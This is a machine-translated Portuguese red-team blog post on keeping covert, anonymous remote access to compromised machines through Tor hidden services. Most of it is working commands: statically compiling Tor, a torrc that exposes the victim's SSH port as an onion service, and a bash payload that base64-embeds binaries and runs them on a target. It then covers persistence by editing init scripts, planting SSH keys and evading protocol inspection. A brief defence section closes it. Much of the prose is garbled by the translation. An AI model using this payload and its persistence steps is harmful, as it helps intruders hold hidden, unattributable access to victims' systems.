Resumo
Neste post eu vou estar deixando cair uma ferramenta e um conjunto de técnicas que as equipes vermelhas podem ser utilizadas para manter, acesso secreta anônimo para máquinas comprometidas. Eu também vou apresentar alguns conselhos para os defensores olhando para detectar e responder a esses tipos de ataques.Motivação
Em acoplamentos de alto nível contra os clientes com programas de segurança maduros, recebendo ruínas capturados dia de todos. Quando os endereços IP que você usa para manter o acesso remoto são descobertos e bloqueado, se você não estiver pronto você vai ser plana em seu rosto e volta à estaca zero. Dependendo de como brincalhão seu adversário é, eles podem até mesmo tentar descobrir quem é dono desses endereços IP; atribuição de volta para sua equipe seria apenas embaraçoso.Digite Tor - uma solução simples, mas eloquente. A rede Tor podem ser aproveitados para manter o acesso aos hosts comprometidos. O que isso significa na prática?
- Anonymous, un-imputável, o tráfego de acesso remoto
- Constantemente mudando endereços IP para que o tráfego não é trivialmente bloqueada ao nível da rede
- Protocolo ofuscação usando Tor Pontes e plugáveis Transportes evadir a inspeção de protocolo
- Suporte a proxy
- Conchas Seguros que não expõem os clientes a riscos desnecessários
- A capacidade de usar uma máquina comprometida como um pivô para outros hosts internos
Como faz este trabalho mágico?
A configuração é realmente surpreendentemente simples!Antes de entrar em detalhes, vamos rever alguns conceitos Tor para aqueles que não estão familiarizados.
Tor 101 - Pontes e Diretório
Vamos começar com o seguinte diagrama, descaradamente emprestado do FEP e cortado para os nossos propósitos:
Vamos fingir que Alice está na sua rede corporativa e quer se conectar ao Tor para que ela possa conversar com sua avó doente no Facebook. Infelizmente a sua corporação do mal tem uma política de "compaixão" que não vai permitir isso. Sendo uma neta responsável com uma raia levemente rebelde, Alice traz o cliente Tor para trabalhar em uma chave USB.
A primeira coisa que o cliente Tor de Alice precisa fazer é obter uma lista de relés Tor - outros computadores que executam o Tor que vai aceitar e retransmitir o tráfego criptografado dentro da rede. Por padrão isso é feito através da ligação a um dos Tor "Servidores de diretório" 9 ou menos.
Nem um a ser enganados "o homem", Alice vez disso, usa um Tor "Bridge". A ponte vai atuar como o primeiro passo entre Alice eo resto da rede Tor. Bridges suportar o protocolo de ofuscação através de "transportes" pluggable, o tráfego é mascarado para que ele não é facilmente impressões digitais como Tor. Além disso, não existe uma lista pública de pontes está disponível, eles só podem ser obtidos um pouco de cada vez para evitar a criação de listas negras.
Serviços escondidos e acesso à Internet - Tor 102
Agora que Alice pode conversar com alguns relés Tor, vamos supor que ela tenta acessar o servidor web de Bob na Internet regular. O diagrama a seguir mostra como isso ficaria:
Tor tem outro conceito muito importante chamada de "Serviço escondido". Serviços ocultos aceitar tráfego de entrada da rede Tor em uma porta TCP local e retransmiti-lo para outro host e porta especificada no arquivo de configuração Tor - tal como um túnel SSH! Isto é interessante porque a porta de escuta para conexões de entrada através da rede Tor podem ser a proteção do firewall da Internet regular. Tudo passa pela conexão Tor.
Estes serviços ocultos são endereçáveis em endereços ".onion" por qualquer pessoa ligada a Tor. Cada serviço oculto tem uma chave privada RSA aleatória para criptografar toda a comunicação. Um hash parcial da chave pública correspondente é o que é utilizado para o endereço ".onion", para que eles costumam ser algo como isto "ab88t3k7eqe66noe.onion".
Todo o tráfego entre um cliente Tor e um serviço oculto Tor é criptografado ponta a ponta, nunca deixando a rede Tor. A mecânica detalhadas de como conexões com serviços ocultos são iniciados e retransmitido pode ser encontrada aqui. Uma coisa importante a notar é que o nome do serviço escondido serão anunciados a um punhado de nós na rede Tor. Isto é necessário para conexões de ser possível, mas significa que o serviço oculto não é 100% escondido.
Por que é que nada disto importa?
Porque a rede Tor, serviços especificamente escondidas são um sonho atacantes! Considere girando um serviço oculto que encaminha as conexões do Tor de entrada na porta TCP "2222", para o ouvinte SSH na máquina comprometida na porta TCP "22".Neste caso, poderíamos ligar para a nossa máquina comprometida, fazendo o seguinte:
- ssh -i / path / to / chave -p2222 someuser@ab88t3k7eqe66noe.onion
Usando o acima com um túnel SSH, podemos fazer todos os tipos de grandes coisas, pivotante, expedição, etc.
Em uma máquina Windows, algo semelhante poderia ser feito abrindo a porta SMB 445 ou porta RDP 3389 à rede Tor.
Ofensa: "Mostre-me o código!"
A beleza deste, é que há muito pouco código personalizado necessário, a equipe de desenvolvimento Tor já fez o trabalho pesado. O que você precisa fazer é chegar em suas mãos um binário compilado estaticamente Tor para sua plataforma de destino, e configurar os arquivos de configuração adequados. Outro bom "ter" é o de agregar tudo em um shell script que você pode fazer o upload para um alvo e correr com nenhuma interação adicional. Nós vamos cobrir todas essas coisas nesta seção.Binários Estáticos para Dummies
Um binário estático tem todas as bibliotecas apropriadas empacotados dentro dele, tornando-o adequado para implantação de plataforma cruzada. Isto significa que um binário estaticamente você compilar em um x64 máquina Ubuntu será executado em uma máquina x64 RedHat.Estaticamente compilar Tor no Linux, infelizmente, parece apenas semi-suportado. As bandeiras de compilação para realizá-lo não parecem funcionar, pelo menos em sistemas baseados em Debian. Então, apertem os cintos e se prepare para uma lição de depuração de saída GCC!
Nós vamos fazer isso em uma nova compilação de Kali 2.0. O primeiro passo para compilar Tor é baixar e extrair a fonte e instalar as dependências necessárias:
1
2
3
4
| wget https: //www .torproject.org /dist/tor-0 .2.6.10. tar .gz tar xzvf tor-0.2.6.10. tar .gz cd tor-0.2.6.10 apt-get install libssl-dev libevent-dev zlib1g-dev |
1
2
3
4
| . /configure -- enable -static-tor \ --with-libevent- dir = /usr/lib/x86_64-linux-gnu/ \ --with-openssl- dir = /usr/lib/x86_64-linux-gnu/ \ --with-zlib- dir = /usr/lib/x86_64-linux-gnu/ |
1
2
3
| checking for openssl directory... configure: WARNING: Could not find a linkable openssl. If you have it installed somewhere unusual, you can specify an explicit path using --with-openssl- dir configure: WARNING: On Debian, you can install openssl using "apt-get install libssl-dev" configure: error: Missing libraries; unable to proceed. |
1
2
| . /configure make |
1
2
3
4
5
6
7
8
9
10
11
12
13
| cd src /or ldd tor linux-vdso.so.1 (0x00007ffe02d00000) libz.so.1 => /lib/x86_64-linux-gnu/libz .so.1 (0x00007fd6982c3000) libm.so.6 => /lib/x86_64-linux-gnu/libm .so.6 (0x00007fd697fc2000) libevent-2.0.so.5 => /usr/lib/x86_64-linux-gnu/libevent-2 .0.so.5 (0x00007fd697d7a000) libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl .so.1.0.0 (0x00007fd697b1a000) libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto .so.1.0.0 (0x00007fd69771f000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread .so.0 (0x00007fd697502000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl .so.2 (0x00007fd6972fe000) libc.so.6 => /lib/x86_64-linux-gnu/libc .so.6 (0x00007fd696f55000) /lib64/ld-linux-x86-64 .so.2 (0x00007fd6988b7000) |
1
| gcc -O2 -static -Wall -fno-strict-aliasing -L /usr/lib/x86_64-linux-gnu/ -o tor tor_main.o . /libtor .a .. /common/libor .a .. /common/libor-crypto .a .. /common/libcurve25519_donna .a .. /common/libor-event .a /usr/lib/x86_64-linux-gnu/libz .a -lm /usr/lib/x86_64-linux-gnu/libevent .a -lrt /usr/lib/x86_64-linux-gnu/libssl .a /usr/lib/x86_64-linux-gnu/libcrypto .a -lpthread -ldl |
Basicamente, a bandeira "-static" diz gcc para construir um binário estático. Os "-l" bandeira aponta para o local onde temos libssl-dev, libz, e libevent instalado, Debian coloca em "/ usr / lib / x86_64-linux-gnu /". A bandeira "-o" especifica o nome do arquivo de saída, e todos os arquivos ".a" estão ligados entre si para criá-lo. O mesmo comando pode ser usado para construir um binário i386, basta atualizar os caminhos.
Se corremos "ldd" contra o novo binário:
1
2
| ldd tor not a dynamic executable |
Configurando Tor
Tor é configurado em tempo de execução, apontando para um arquivo de configuração, geralmente chamado de "torrc". Um exemplo torrc arquivo é mostrado abaixo, abra seu editor de texto favorito e cole o seguinte em:
1
2
3
4
5
6
7
8
| Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515 Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834 Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589 UseBridges 1 SocksPort 9050 SocksListenAddress 127.0.0.1 HiddenServiceDir ./.hs/ HiddenServicePort 2222 127.0.0.1:22 |
Isso é tudo que você precisa fazer. As duas linhas "HiddenService" são tudo que é necessário para configurar o Tor para hospedar o serviço escondido. Para girar o nosso novo serviço oculto para o teste, basta executar o seguinte:
1
| . /tor -f /path/to/torrc |
1
2
| cat . /hs/hostname ab88t3k7eqe66noe.onion |
1
| ssh -p2222 user@ab88t3k7eqe66noe.onion |
Criando um Payload
Vamos criar uma carga legal que agrupa essa coisa toda em um script bash.Primeiro vamos copiar o "tor" arquivo binário e nosso arquivo "torrc" para um novo diretório:
1
2
3
| mkdir ~ /payload cp tor torrc ~ /payload cd ~ /payload |
1
2
3
| wget http: //www .rkeene.org /devel/htp/mirror/archive/perl/htp-0 .9.3. tar .gz tar xzvf htp-0.9.3. tar .gz cp htp-0.9.3 /sbin/htpdate-light . |
sudo ./htpdate-light google.com
nosso tempo sistema irá sincronizar com o servidor HTTP do Google. Agora que isso está fora do caminho, vamos agrupar-se nossos binários em um arquivo compactado para reduzir o tamanho da carga útil
1
| tar cvzf binaries. tar .gz tor htpdate-light |
1
2
3
| echo '#!/bin/sh' > payload.sh echo -n 'torbin=' >> payload.sh cat binaries. tar .gz | base64 -w 0 >> payload.sh |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| echo $torbin | base64 -d > binaries. tar .gz tar xzvf binaries. tar .gz rm binaries. tar .gz chmod +x tor echo ' Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515 Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834 Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589 UseBridges 1 SocksPort 9050 SocksListenAddress 127.0.0.1 HiddenServiceDir ./.hs/ HiddenServicePort 2222 127.0.0.1:22 ' > . /torrc perl . /htpdate-light google.com . /tor -f . /torrc |
1
| bash payload.sh |
~/.ssh/authorized_keys
se você não souber a senha do usuário que você deseja conectar. Indo Persistent
Se você quer esta ao fogo até na inicialização e você tem acesso root na máquina, a maneira mais fácil é simplesmente modificar um script de inicialização existente, geralmente em "/etc/init.d". Idealmente, você deve copiar os binários e arquivos de configuração para o Tor para algum lugar discreto, e, em seguida, modificar o script "init" para que Tor é executado quando o sistema é inicializado.Fugindo Protocolo de Inspeção e alavancar Proxies
Esperemos que o acima de tudo se apaga sem um engate e você não precisa esta seção porque não vai ajudar muito :). Pontes Tor pode ser configurado com ofuscação e "transportes conectáveis" para fazer o olhar tráfego como algo que não é. Há também opções que podem ser configuradas no arquivo "torrc" para empurrar o tráfego através de um servidor proxy. Em um post de acompanhamento que pode entrar em algum detalhe sobre como configurar isso, mas este post já está se tornando muito longo.Defesa: "Isso é péssimo :("
Infelizmente, este tipo de ataque é difícil de bloquear no nível de rede - é por isso que nós usá-lo. Usando transportes plugáveis e / ou pontes Tor, um atacante pode ofuscar o tráfego para que ele apareça como HTTP ou HTTPS regulares, e pode até mesmo dirigi-lo através de seu proxy corporativa usando algumas opções no arquivo "torrc". Essa dificuldade ocorre por predefinição, as pessoas que constroem Tor fornecer esses recursos para impedir a detecção e censura.O primeiro passo é o de assegurar que o tráfego TCP de saída está a ser adequadamente filtrada. Quaisquer "exceções", onde uma determinada porta de saída é permitido através do firewall são trivial para um atacante para encontrar. Todo o tráfego de saída deve ser forçado através do proxy corporativo.
Inspeção de pacotes no proxy vai parar tentativas ingênuas a esse tipo de ataque. Alertando deve ser configurado em conexões do Tor detectados - isto é algo que você quer sair da cama às 01:00 para. Uma conexão Tor é de 100% do tempo vai ser alguém tentando fazer algo que você não quer que eles também.